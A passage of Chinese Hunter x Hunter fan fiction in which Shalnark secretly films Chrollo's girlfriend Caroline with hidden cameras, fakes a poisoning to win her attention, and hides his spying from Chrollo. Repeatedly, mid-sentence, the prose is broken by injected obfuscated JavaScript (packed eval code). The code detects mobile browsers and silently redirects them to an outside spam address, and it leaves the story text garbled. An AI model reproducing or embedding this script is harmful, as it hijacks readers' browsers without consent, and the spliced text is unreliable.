玛奇看着侠客那张平时永远挂着从容微笑的金色狐狸一样的脸,现在像一个被当场抓获的小偷,眼神飘忽,嘴唇发抖,手指悬在鼠标上方两厘米处,不知道该不该按下去。 玛奇又看了一眼屏幕。画面里的人确实是库洛洛那个女人,有点眼熟。脸被挡住了大半,但那个下巴的弧度和嘴角微微上翘的样子,她在某个地方见过。 很好,玛奇的大脑也宕机了。 侠客终于按了暂停。屏幕定格在库洛洛低头吻那个女人肩膀的瞬间。侠客站起来,椅子被他的腿顶出去,滑轮在地面上发出一串刺耳的声响。 “我可以解释,”侠客的声音在试图恢复平时的节奏,但失败了,因为它至少比平时高了半个调,“我跟她见面了。卡洛琳。你记得吗,团长的那个——就是那个。她找我的。她说了一些事,关于旅团的,关于未来的。我不能直接跟团长求证,你明白吧?我必须要确认。我不能只听一面之词。所以我装了摄像头。” 玛奇恢复了那种很淡的看不出来情绪的她惯有的那种冷,至少表面上是这样。 “就算是为了确认,”玛奇感到自己的太阳穴在一突一突地跳,她都有些佩服自己此刻居然还能思考,“你也没必要在卧室装摄像头吧。侠客,你到底在想什么。” 侠客张了张嘴。没有声音。他重新张了一下,咽了口唾沫,然后发出一声那种认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523332|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命般的破罐破摔般的把所有的体面和矜持都扔到地上的彻底放弃挣扎的呻吟。 “你到底看了多少。”玛奇的语气冰冷地让侠客真的感受到了危险。 侠客沉默了大概三秒钟。然后他按了一下空格键,屏幕上的画面动了起来。库洛洛的手从卡洛琳的腰滑到她的后背,手指沿着脊椎一节一节地往上爬。卡洛琳的手臂环着库洛洛的脖子,指尖插在他的头发里。 “从她约我开始,”侠客的声音勉强恢复了正常,但他的眼睛没有看屏幕,而是看着玛奇,“我想确认她到底是什么人。她对团长有没有威胁。她对旅团有没有威胁。” 侠客强调了一下“旅团”两个字,像在提醒自己,也像在提醒玛奇。 “这是为了旅团。” 两个人都没有说话。房间里只剩下电脑风扇转动的嗡嗡声。 “关掉。”玛奇深吸一口气,她实在是很难理清此刻的自己究竟是什么心情。 侠客按了空格。画面停住了。房间里安静了。玛奇想说什么,张了张嘴,又闭上了。她想说“你疯了”,但侠客也是为了旅团。她想说“你不该这么做”,但侠客说的也有道理。 她到底想说什么呢。 她刚才看到团长的眼睛的时候,心里有一个很小的声音说:原来库洛洛会那样看一个人,会露出那样的表情。 34. 玛奇也来了 门铃响的时候,卡洛琳正在给窗台上的花换水。她把园艺剪刀放下,擦了擦手,走到门口。猫眼里的两个人让她愣了一下。侠客在笑,玛奇没有表情。 卡洛琳也不知道给自己做了什么心理准备就打开了门。 “打扰了——”侠客的语气和平时一样轻快。但他身后的玛奇沉默得像一把刚出鞘的刀。 卡洛琳的目光在玛奇脸上停了一瞬。真人比漫画里好看多了,玛奇的五官像是用刀刻出来的,每一个线条都干净利落,没有一丝多余的弧度,明明是面无表情,却有一种浓艳锋锐的美感。 “那个,”侠客把手插进口袋里,难得地露出一点不好意思的表情,“我把事情告诉玛奇了。” 卡洛琳看了侠客一眼,又看了玛奇一眼。玛奇的表情没有任何变化,站在走廊里,像一座不会融化的冰雕。卡洛琳侧身让开了门,明明是自己家却显得有些拘谨。 “进来吧。” 卡洛琳穿着那双卡通猫拖鞋走回厨房,从冰箱里拿出冰牛奶,倒了三杯。侠客坐在沙发的一端,玛奇坐在另一端,两个人之间隔了至少两个身位。 卡洛琳把牛奶放在他们面前,自己端起一杯缩进对面的单人沙发里,双腿蜷起来,用睡裙的下摆盖住脚趾。她喝了一口牛奶,在心里想:如果是要验证,为什么是玛奇。 派克不是更方便吗?派克的能力是读心,摸一下就知道她有没有撒谎,比任何形式的追问都高效。带玛奇来,既不能验证她的预知能力,也不能确认她对旅团有没有威胁。除非侠客把玛奇带来,不是因为他需要玛奇来验证什么,而是因为玛奇已经知道了。侠客不得不带她来。但玛奇是怎么知道的? 卡洛琳有的没的地想着,但是她可没有开口去问的打算,只要不当着她的面杀人,她都无所谓。 玛奇也在打量着卡洛琳,她穿着一件宽松的米白色毛衣,头发随意扎在脑后,几缕碎发垂在耳侧。素颜,没有打扮。脚上穿着毛绒拖鞋,小猫图案的,看起来有一种被照顾地很好的不谙世事的清纯感。玛奇垂下眼,看着杯子里白色的牛奶,不知道在想什么。 “为什么库洛洛会和你在一起?”玛奇的声音和她的人一样,冷冷的,清澈但不刺骨。 卡洛琳缓缓地眨眨眼,似乎在确认自己没有听错,她认真地想了这个问题,想了大概五秒钟,然后诚实地摇了摇头。 “我不知道,真的不知道。” 要是库洛洛当初拒绝了,她就会心安理得地享受他给的一切,公寓、学校、生活费、安全感,什么都不用付出,什么都不用背负,只要好好活着就行。她连告白都是想好了退路才去的。她说“你愿意和我在一起吗”,心里想的却是“拒绝吧,求你了拒绝吧”。 她怎么搞得懂库洛洛在想什么,那可是库洛洛诶。 玛奇看着卡洛琳,像在判断她有没有说谎。过了一会儿,玛奇移开了目光,端起牛奶杯又喝了一口。 卡洛琳忽然觉得气氛太僵了。她不喜欢这么僵的气氛。在她自己的公寓里接待两个从流星街来的杀过人且不介意再杀人的客人,如果气氛一直这么僵,她怕自己会开始想一些不该想的事情。 比如库洛洛杀过多少人,比如玛奇用那根念线勒断过多少人的脖子,比如侠客的自动操作模式启动时被操控的人会露出什么样的表情…… 不要想了,卡洛琳在心里按下了暂停键。 她站起来,把牛奶杯放在茶几上,双手插在睡裙口袋里,尽量让自己看起来像一个普通的好客的不会因为客人是A级通缉犯就惊慌失措的正常人。 “来都来了,要不我做顿饭,大家一起吃了再走吧。”卡洛琳又想起了上辈子的记忆,但她没想到现在轮到自己说这种话了。 侠客的表情松动了一点,像是终于找到了一个可以呼吸的缝隙:“好。” 玛奇没有说话,但也没有拒绝。 卡洛琳转身往厨房走,走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523333|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两步忽然停下来,转过头看着玛奇。她想到了一个问题,一个她以前在漫画里从来没有认真想过但此时此刻忽然变得很重要的问题。 “对了,玛奇,你这么在意这件事,是不是因为你喜欢库洛洛?” 客厅安静了一瞬。 玛奇就像一只被突然踩到尾巴的猫,整个人的气场从“冰山”瞬间切换到了“炸毛”。她的眉毛压下来,眼睛微微睁大,嘴唇抿成一条线,声音比刚才高了好几度。 “你在说什么?” 卡洛琳看着玛奇那张终于有了表情的脸,真的瞬间就松了一口气。 太好了,玛奇喜欢的不是西索。 这件事在原著漫画里一直暧昧不清,富坚义博没有明说,读者们猜了十几年。卡洛琳就是那些读者之一。她看过无数篇分析帖,有的说玛奇对西索有好感,有的说只是合作关系,有的说玛奇对西索含着说不清道不明的情愫。 但现在她活在这个世界里,而这个世界里真的有一个西索。而那个西索会在擂台上笑着把人切成两半……卡洛琳又有了一种想要呕吐的冲动。 谢天谢地,玛奇喜欢的是库洛洛而不是西索。 侠客靠在沙发上,看着这一幕,手指按着太阳穴,表情复杂得像在看一场他既不想看又不能走的戏剧,这都什么事啊。 玛奇还在应激,她的耳廓边缘有一层很淡的粉色,不仔细看根本看不出来。侠客认识玛奇这么多年,第一次看到她的耳朵红。他低下头,假装在看茶几上那杯牛奶,嘴角的肌肉抽动了一下。不能笑,绝对不能笑,也不能细想。 玛奇侧过脸,压低声音对侠客说:“卧室里的摄像头,立刻拆了。” 侠客的瞳孔震了一下,但他很快恢复了笑容。那个笑容是标准的完美的完全看不出破绽的,他点了点头:“嗯嗯,好的。” 侠客可不敢说客厅里也有,厨房里也有,走廊和玄关也有……有些话可是打死都不能说出口的啊。 35. 侠客,你还在看啊 侠客觉得自己大概真的有点变态。 他现在正坐在电脑前,屏幕上是卡洛琳公寓客厅的画面。不是他故意要看的,好吧,是他故意要看的。但至少他已经把卧室的摄像头拆了。虽然他们有时候不在卧室,但这不重要。 画面上,卡洛琳正蹲在茶几前给一瓶白色的花换水。她穿着那件印着卡通猫的睡裙,头发随意扎在脑后,几缕碎发垂在耳侧。她把旧水倒掉,把花茎重新修剪了一下,一枝一枝地插进玻璃瓶里,退后两步看了看,又上前调整了一枝的角度。 她把花瓶放回茶几角落,拿起一本翻了一半的画册继续看。她看得很慢,有时在一幅画上停很久,有时翻得很快。侠客看着她用手指在画册上沿着线条比划,大概是在揣摩笔触。她画得应该不怎么样,但她是真的喜欢,因为她会看着看着眼睛变得亮晶晶的。 侠客端起桌上的咖啡喝了一口,凉了。他有时候会问自己,你为什么还在看?半年了,该确认的早就确认了。卡洛琳对旅团没有威胁,她对团长的感情是真的。她没有秘密,没有伪装,没有在团长不在的时候露出另一张脸,没必要看了。 但侠客的手没有去关屏幕。 屏幕上,卡洛琳合上了画册,伸了个懒腰,从沙发上站起来走进厨房。几分钟后端着一杯牛奶出来,杯壁上凝着细细的水珠,冰的。团长不在的时候她永远喝冰的,团长一来她就乖乖喝热的。这个细节库洛洛都不知道,但侠客知道。 屏幕暗了一下,是走廊的灯灭了。卡洛琳端着牛奶回了卧室。侠客盯着空荡荡的客厅画面看了几秒,正准备切到另一个机位,画面里出现了一个人影。 团长。他从玄关进来,动作很轻。客厅的灯没开,他穿过黑暗时脚步没有犹豫,像是闭着眼睛也能走。他推开卧室的门,门没关严,留了一道缝。橘黄色的光从门缝里漏出来,床头灯开了。 侠客的手指悬在键盘上方。他知道自己应该关掉。卧室的摄像头已经拆了,他看不到里面,也不该看到。但他没有关掉声音。 “诶?库洛洛。”卡洛琳的声音从扬声器里传出来,软软的,不设防的。 “嗯。”团长的声音很低。 “怎么这么晚。” “嗯,吵到你了?” “没有。”侠客听到布料摩擦的声音,大概是卡洛琳坐起来了或者翻了个身。 沉默了几秒。侠客听到床垫的轻微吱呀声,然后是卡洛琳一声含混的带着笑意的“唔”,像是被什么人压住了或者抱住了。 “外套脱了呀。”卡洛琳的声音闷了一点,像是脸被什么东西挡住了。 “不想动。” “那你就穿着睡?” “……你帮我。” 侠客的手指在键盘上收紧了一下,那种语气里有一种他从来没在团长身上听到过的东西,柔软的,不自重的,甚至有点耍赖的。 “压着我还让我帮你脱衣服,库洛洛你讲不讲道理。”卡洛琳在笑,声音里带着那种只有在对的人面前才会有的毫无防备的愉悦。 “不讲。” 侠客听到一阵窸窸窣窣的声音。大概是卡洛琳在帮他脱外套,布料摩擦,拉链的声音,衣料落在地上的闷响。然后床垫又响了一声,像是有人翻了个身。 侠客只能通过声音去想象那边发生了什么。他能听到呼吸声,比平时重一些,混在一起分不清是谁的。能听到布料持续地细微地摩擦,大概是在动,在调整姿势,在找一个两个人都舒服的位置。然后是卡洛琳一声轻轻的满足的叹息。 “好点没?” “……嗯,想你了。” 侠客盯着屏幕上门缝漏出的那条橘黄色的光。扬声器里传出的声音很小,但在安静的房间里每一个字都听得清清楚楚。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523334|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也想你。”卡洛琳的声音带着笑意。 侠客听到库洛洛的呼吸变深了。然后是衣服摩擦的声音,比刚才更轻、更慢,像手指在布料上游走。 “库洛洛。”卡洛琳的声音变了,还是带着笑,但多了一点别的东西,低了一点,慢了一点。 侠客把椅子往后推了半寸。 他不应该在这里。这些声音不是给他听的。这个语调,这个节奏,这种介于清醒和困倦之间的黏稠的温柔,不是给他这种隔着屏幕偷听的人准备的。 “累了就赶紧睡,”卡洛琳的声音又响起来,带着笑,但很坚定,“别想其他的。” 侠客听到库洛洛发出一声很轻的笑。然后是一声亲吻的声响。很短,很轻,像羽毛落在皮肤上。 “睡吧。”卡洛琳的声音轻的像叹息。 沉默了几秒。侠客听到床垫的轻微吱呀,大概是她在调整姿势。然后是另一个亲吻的声音,比刚才那个长一点,重一点,带着嘴唇抿过皮肤时才会有的那种细微的湿响。 “晚安,库洛洛。” “……晚安。” 库洛洛的声音已经带上了困意。沉沉的,慢慢的,像一块石头慢慢沉进水里。侠客想象不出团长用这种语气说话的样子。他认识团长这么多年,听他下达过无数命令,做过无数决策,分析过无数情报。那些声音都是锋利的,清醒的,边界分明的。但这个声音不是,这个声音是软的,边界模糊的。 侠客关掉了声音。屏幕上的画面还在继续,门缝里的橘黄色灯光灭了,只剩下走廊摄像头拍到的一片漆黑。他靠在椅背上,盯着那片漆黑看了很久。喉咙里那个堵着的东西还在,咽不下去也吐不出来。他自己都说不上来那是什么。 侠客把电脑关了,屏幕黑下来的瞬间,他看到了自己的脸。眼睛下面是青灰色的,熬夜熬的。他对着那张脸说了一句:“变态。” 36. 侠客,你在干嘛 卡洛琳正在沙发上翻新买的画册。 库洛洛这两天不在。她去冰箱拿牛奶的时候看了一眼手机,没有新消息。她把牛奶倒进杯子,端回沙发,刚喝了一口,敲门声响了。 她以为是库洛洛。拖鞋穿了一半就跑去开门,嘴角已经弯起来了:“怎么今天——” 声音断了。 门外站着的是侠客。面色苍白得像纸,嘴唇上一层灰败的淡紫色,他的金发湿漉漉地贴在额头上,他看到卡洛琳,嘴角动了一下,想笑,没笑出来。然后他的身体往前倾了倾,靠进了她的怀里。卡洛琳整个人僵住了。 “侠客?侠客!”卡洛琳下意识地伸手接住他。他的体重压过来,不算重,但整个人是软的,像被抽走了骨头。侠客从来没有离她这么近过,近到她能看到他睫毛在抖。 “没事,”侠客的声音从她的肩窝里传出来,闷闷的有气无力的,“中毒了而已。” 卡洛琳的脑子里有什么东西嗡了一下:“中毒?” “别担心,不是什么致命的毒素。”侠客的手指抓着卡洛琳的袖子,抓得不紧,像怕抓皱了似的。他的声音很轻很慢,带着一种让人心疼的虚弱,“一时之间不知道去哪里。这里离得近……就来了。” 卡洛琳把侠客从自己身上扶起来,看着他的脸。侠客的脸色比刚才更差了。他的眼神是散的,没有焦距,像在看她又像没在看她。他是真的不舒服。这一点没有在装。 但卡洛琳看不到的时候,侠客的嘴角浮起一个极快的几乎无法察觉的弧度,是某种更隐蔽的像猫偷吃到鱼之后舔嘴唇时的那种满足。 “可以帮我买大量的啤酒来吗?”侠客的声音带着一种虚弱的无害的让人无法拒绝的恳求,“毒素要用啤酒稀释……总之有点复杂。” 卡洛琳架着侠客走进客厅,把他放在沙发上。他倒下去的时候手臂还搭在她肩上,带得她一个踉跄,差点趴在他身上。 稳住身体的时候,她的脸离他的脸很近,近到能看到他眼底的血丝。侠客看着她,那双绿色的眼睛里映着她的脸。 “麻烦你了。”侠客的声音听起来有点不好意思。 卡洛琳站起来,手忙脚乱地去找手机,然后打通了附近便利店老板的电话,啤酒,要大量的,多少算大量?她不知道,干脆点了两箱。 卡洛琳想了想从厨房倒了一杯温水出来放在侠客手边,侠客看起来没什么力气,卡洛琳就端起来送到他嘴边,喂他喝了两口。 “谢谢。”侠客的声音比刚才更轻了。 卡洛琳在他旁边坐下来,不知道该做什么。她的手悬在半空中,最后落在沙发靠背上,离他的肩膀很远。侠客侧过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523335|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了她一眼,然后慢慢地一寸一寸地往她的方向移过来,把头靠在了她的肩膀上。靠得很轻,像怕压疼她。 “抱歉,借我靠一下。” 卡洛琳的身体僵住了,她想说“你躺着吧”,想说“要不要我帮你找个毯子”,想说任何一句能让她从这种不自在里解脱出来的话。 但侠客靠在她肩膀上的样子太安静了,安静到她不忍心动。 卡洛琳脑海中突然闪过了侠客的结局,被复活的西索杀死,乌鸦啄食着他的尸体……那个画面在她看漫画的时候只是格纸张,翻过去就没了。 但现在侠客活生生地靠在她肩膀上,她伸出手,犹豫了一下,放在了侠客金色的头发上。 “侠客。” “嗯。”侠客没有睁眼。 “你不会死的。”卡洛琳的声音很轻,但每个字都说得很清楚,可以感知到其中蕴含的决心,“我不会让你死的,我会……守护你们的。” 侠客的睫毛颤了一下,但他还是没有睁眼。 就在这时,门铃响了,外卖到了。 “啤酒来了,我去开门。”卡洛琳各种意义上都松了一口气。 侠客在卡洛琳背对着自己开门的时候,睁开了眼睛,碧绿的双眼里全是清醒冷静,不知道这位蜘蛛的大脑此时此刻脑子里在想些什么呢。 37. 侠客,你在渴望什么 啤酒是侠客自己一瓶一瓶打开的。 卡洛琳坐在旁边的单人沙发上,看他喝。 侠客喝得很慢,金色的液体从易拉罐口流进他的嘴唇,喉结上下滚动一下,他放下罐子,手指在铝罐上无意义地摩挲着,蹭掉冷凝的水珠。 侠客表现得根本不像是急需解毒的人,因为他确实是故意的。给自己下毒,选了一种不致命但会让人虚弱的毒素,剂量算得很准,不会死,但会面色苍白嘴唇发紫,看起来像刚从鬼门关走了一遭。 侠客本来打算弄点伤口。更直接,更有视觉冲击力,卡洛琳看到血一定会慌,一定会焦急地问他怎么了,一定会上手帮他按着伤口,她会一边发抖一边想办法帮他止血。那个画面他在脑子里预演了好几次。 但最后还是放弃了。不是怕疼,是知道卡洛琳一定会被吓到,血这种东西,能避开就避开吧。 他特意选了今天。团长不在,未来几天都不在,有一个任务需要他亲自去处理。 至于他想要什么,说来有点可笑。他不要任何实质性的东西。他只是想要卡洛琳也关心关心自己而已。 不是想和团长抢女人,这么狗血的剧情不适合他。他又不是找不到女人,以他的长相,他的头脑,他伪造出来的光鲜身份,在普通世界里找个比卡洛琳好看的女人轻而易举。 他只是看了太久了……团长可以有这种待遇,为什么自己不能有呢? 他又不想要全部。他只要一点,一点就够了。 “好点了吗?”卡洛琳的声音关切,带着那种努力掩饰但仍藏不住的紧张,“是谁给你下的毒?” 侠客笑了笑。嘴角弯起来的弧度刚好够露出一点牙齿,眼睛也跟着弯了,看起来温柔极了,配合他那张娃娃脸简直人畜无害。 “别担心,对付我的人,已经被我杀死了。”侠客说的也很温柔自然,像真的是什么可以闲谈的小事。 侠客满意地看到卡洛琳的脸在一瞬间变成了白色,从颧骨到下巴,血色像被人抽走了一样褪得干干净净,嘴唇微微张着,什么声音都没发出来,手在毯子里攥紧了,攥得毯子的布料在她指间皱成一团。侠客看着那张脸,心里有一个地方被填满了。不是满足,是更接近于“饱了”的那种感觉,一种不再饥饿的安静的可以暂时停止寻找什么的饱足感。 即使害怕也还是会关心自己吗? 是的,她会。她怕血,怕杀人,怕这个世界的残酷。她怕的东西太多了,多到她平时只能把自己缩在那间公寓里,假装外面的世界不存在。 但她没有把自己推开,也没有往后退。即使她听到“杀死了”三个字的时候脸白成了那样,她也没有往后退。 “可以在这里休息一晚吗?”侠客的声音带着一种刻意的小心的像怕被拒绝的语气,“放心,团长这段时间都不会来。” 卡洛琳沉默了一会儿。侠客看着她的侧脸,看着她的睫毛在灯光的照射下投在颧骨上的影子,看着她的嘴唇抿了一下又松开。 “你睡床吧,我睡沙发。”卡洛琳看起来有点疲惫。 侠客本来想说“不用,沙发就好”,但他没有说。因为他来这里的目的,不就是这个吗?被照顾,被关心,被当成一个需要被安置的重要的不能随便对待的人。既然已经做了,那就干脆享受到底吧。 “床单在衣柜中间那格。毯子的话,沙发靠垫后面有一条薄的,你要是觉得冷再跟我说。”卡洛琳揉了揉太阳穴,强打着精神开口。 “你为什么——”侠客突然开口,语气轻松但确实是真想知道,“你这么害怕杀人,也知道我们在做什么,为什么不干脆远离我们呢?” 卡洛琳没有立刻回答。她的手指在布料上攥了一下又松开了。 “因为我不够勇敢,”卡洛琳叹了一声气,然后又闭上了眼睛捂住脸,“我知道旅团会为了流星街去杀人。在没有别的更好的办法的时候……只有非杀人不可的时候。” 侠客知道她说的是对的,他们又不是天生的变态杀人魔。 “旅团的人都有杀人的决意,”卡洛琳的睫毛颤了一下,侠客敏锐地看到那上面有很细很细的水光,“你们做好了觉悟,知道自己要承担什么。但我……” 卡洛琳的声音断了,像一根被拉得太紧的弦终于崩开了。她吸了一下鼻子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523336|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很短促的一声,像是不允许自己发出更大的声音。 “我明明知道这个道理,还是一直在逃避。看到血会吐,听到杀死会应激,每次你们来的时候都在心里跟自己说不要想,不要问,不要知道。我是不是很没用啊。” 卡洛琳的眼眶红了,侠客看到她的下眼睑边缘涌上一圈深色的红,然后她的整个眼睛都湿了。她咬着嘴唇,但嘴唇在抖,咬不住。 “所以你觉得我们做的事情是对的?”侠客本不应该在意这个,难道他没有觉悟吗?但现在侠客问出口居然带着些渴求。 卡洛琳终于哭了出来。眼泪大颗大颗地往下掉,砸在她攥紧的手背上。她的思绪一片混乱,侠客能从她的眼神里看到那种混乱,瞳孔在转,但没有焦距,在看他又没有在看他,在想什么但想不清楚。当然接受不了杀人,血腥的事情她接受不了,可是这种世道不杀人就是被人杀,她的大脑处理不了这个矛盾,像一个过载的处理器,所有的风扇都在转,但温度还是在飙。 侠客犹豫了不到半秒,然后把卡洛琳拉进了怀里。她的额头抵着他的锁骨,他的下巴搁在她的头顶。卡洛琳整个人缩在他怀里的时候像一只被雨淋湿了的小动物。她的身体在抖,压抑着哭声时全身肌肉都在用力所以产生的颤抖。侠客的手落在她的后背上,一下一下地拍着。 卡洛琳平复了一会后就推开了侠客。 “不管怎么样,我会守护旅团的。库洛洛对我这么好,我不能什么都不做。”卡洛琳因为已经下定了决心,反而不那么慌乱了。 库洛洛什么都不知道。 侠客突然意识到这一点。 库洛洛根本不知道卡洛琳即使知道了一切,也还是选择了自己。她知道旅团在杀人,知道库洛洛在杀人,知道那些她连听都不敢听的血腥细节,但她没有跑,她留下来了。 侠客伸出手,用拇指帮她擦了一下脸颊上的眼泪,指腹蹭过她的颧骨,比必要的力度重了一点点。 “我去睡了,”侠客想说的很多,但说出口的只是这么简单的一句话,“晚安。” “晚安。”卡洛琳的声音还带着哭腔,哑哑的。 38. 谎言 侠客是在猎人网站上看到那张照片的。 不,准确地说,是那张照片被他传上去之后,他再去看到的。他需要一个借口。一个可以走到库洛洛面前把照片给他看,然后理直气壮地问出一堆问题的借口。 侠客有时候觉得挺荒谬的。不过他总不能直接说“我在你家装了半年摄像头”,但可以说“我在网上看到了这个”。 前者听起来像是变态偷窥狂,后者则是时刻关注旅团情报的优秀团员。 照片拍得不好,侠客故意的。构图歪了,光线太暗,焦距也没对准。但足够看清库洛洛的侧脸,和靠在他肩膀上的那个女人。女人的脸被头发挡住了一半,看不清样子。 库洛洛在约定的地方等他的时候侠客已经想好了每一个问题的顺序。侠客坐在库洛洛对面把手机递过去,屏幕上显示着那张照片。侠客的表情自然极了,微微皱起的眉头,恰到好处的疑惑,还有那种我看到了一个东西觉得需要让你知道的认真。 “在猎人网站上看到的,有人传上来的。” 库洛洛接过手机看了一眼。他的表情没有任何变化,眼神一如既往地深沉平静,教人读不懂。他把手机递回来,放在桌上推回给侠客。 “嗯。” 侠客看着库洛洛看不出任何情绪的脸,心里忽然有点紧张。 “她是谁?”侠客的语气是随意的,好奇的,带着一种我只是随口问问但你不说也没关系的松弛。 “无关的人,只是看上了她的能力而已。”库洛洛端起桌上的水杯喝了一口水,放下来,杯底碰到桌面发出一声很轻的响,说的很随意。 侠客的手指在膝盖上收紧了。库洛洛那张脸上没有说谎者惯有的任何破绽。 如果侠客不是提前知道,真的会被库洛洛这样轻描淡写地骗过去。 但侠客看了半年。他见过库洛洛走进那间公寓之后是什么样子,靠在卡洛琳肩膀上,声音低低的,说“好累啊”。会把脸埋在她的胸口,抱着她,抱得很紧。被卡洛琳亲了一下嘴角之后,会勾起嘴角。 那是半年的监控画面,数百个小时的素材,无数个他本不该看到的瞬间。那些瞬间拼凑在一起,指向库洛洛就是在说谎。 侠客在桌底下的拳头捏的更紧了,他原本准备了很多问题,她叫什么名字?她在哪里?她能力是什么?你怎么认识的?你为什么要隐瞒?你喜欢她吗?你真的喜欢她吗?你有多喜欢她?…… 侠客在心里把这些问题全部过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523337|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一遍,然后看着库洛洛那张什么表情都没有的脸,就忽然觉得没有必要问了。 库洛洛不会回答的,因为他一旦回答了,哪怕只是承认了卡洛琳的存在,就已经是把她拉进了这个世界。 这个世界是流星街,是旅团,是杀戮和被杀戮,是今天不知道明天会不会活着。库洛洛不会让卡洛琳碰这些,所以他说“只是看上了她的能力而已”,用一句最轻描淡写的话,把所有的重量都扛在了自己肩上。 “这样啊,”侠客装作无所谓地点了点头,然后聊起来今天的正事,“对了,那个慈善家的收藏室还是在图纸里看不出来,到时候得先交给飞坦审讯……” 侠客约库洛洛出来肯定不是为了问卡洛琳的事,不然太刻意了。 侠客在心里不受控制地想,如果换成自己,他可不会像库洛洛这么温柔。 库洛洛把卡洛琳藏起来,保护她,不让她牵扯进来。侠客自认为做不到,他会把那个人锁在自己身边,让她的世界里只剩下他一个人,让她不会有机会逃跑,无法说出拒绝,永远不会说“不”。 想要的东西,就要不择手段地弄到手。想要的人,就要不计代价地留在身边。他会比库洛洛更自私,更贪婪,更没有底线。 39. 心情不好的侠客 飞坦从审讯室出来的时候,手套上还有没擦干净的血。他一边摘手套一边看了侠客一眼:“都说了。” 侠客靠在走廊的墙上,双手插在口袋里,看起来在走神:“嗯。” 飞坦把摘下来的手套卷成一团,丢进垃圾桶里,他才懒得理会突然出现的侠客是怎么回事。 “飞坦,我心情不好。” 飞坦看了侠客一眼。侠客的目光落在对面墙上一个不知道什么时候留下的弹孔上。 “你审完了吗?让我也发泄一下。” 飞坦的嘴角动了一下,介于不耐烦和无聊之间的一种弧度。 “随便。” 侠客突然快步追上飞坦,凑过去看,飞坦的脸隐没在走廊昏暗的灯光里,金色的眼睛被阴影削去了半边,只露出一道细长的冷冽的光。 侠客眨眨眼,很亲切地拍着飞坦的肩。 “飞坦,你听到我心情不好,真是冷淡啊。” 飞坦的眉毛紧皱起来,这是什么神经开场白。 “就不能温柔地哄哄我吗?”侠客的声音带着笑,尾音往上翘,他的表情也是,嘴角弯着,眼睛弯着,整个人散发着一种无害的纯良气息。 飞坦的表情终于变了。他的眼睛微微眯起来,那道细长的金色从缝隙里透出来的光像刀锋。他看侠客的目光,像看着一个审讯对象。 “侠客,”飞坦的声音不高,但每个字都像是从牙缝里挤出来的,带着一种让人后背发凉的威胁感。“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 